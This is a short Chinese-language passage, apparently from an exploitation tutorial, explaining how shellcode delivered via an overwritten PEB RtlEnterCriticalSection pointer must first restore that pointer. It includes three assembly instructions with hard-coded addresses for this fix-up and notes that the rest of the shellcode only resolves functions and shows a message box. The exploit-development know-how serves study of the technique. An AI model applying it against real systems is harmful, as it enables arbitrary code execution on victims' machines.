由于shellcode执行之后,还需要调用RtlEnterCriticalSection这个函数指针,但是之前为了能够让shellcode执行,已经把这个函数指针改成了shellcode的地址,也就是说shellcode执行之后所有对RtlEnterCriticalSection函数的调用会重新执行shellcode,进行不下去了,这样弹不出窗口来,需要在shellcode起来之后,首先把RtlEnterCriticalSection的值改回去

1
2
3
00424B08   mov         eax,7FFDF020h	;程序PEB中线程同步函数的地址 RtlEnterCriticalSection函数指针的位置.放到eax中
00424B0D mov ebx,77F82060h ;NTDLL.DLL库中RtlEnterCriticalSection的地址,放到ebx中
00424B12 mov dword ptr [eax],ebx;将ebx值赋值到eax指向的内存地址,也就是把NTDLL.DLL中,RtlEnterCriticalSection函数地址放到了PEB中的函数指针上
三层循环解析函数地址,弹窗

剩下的shellcode之前已经分析过了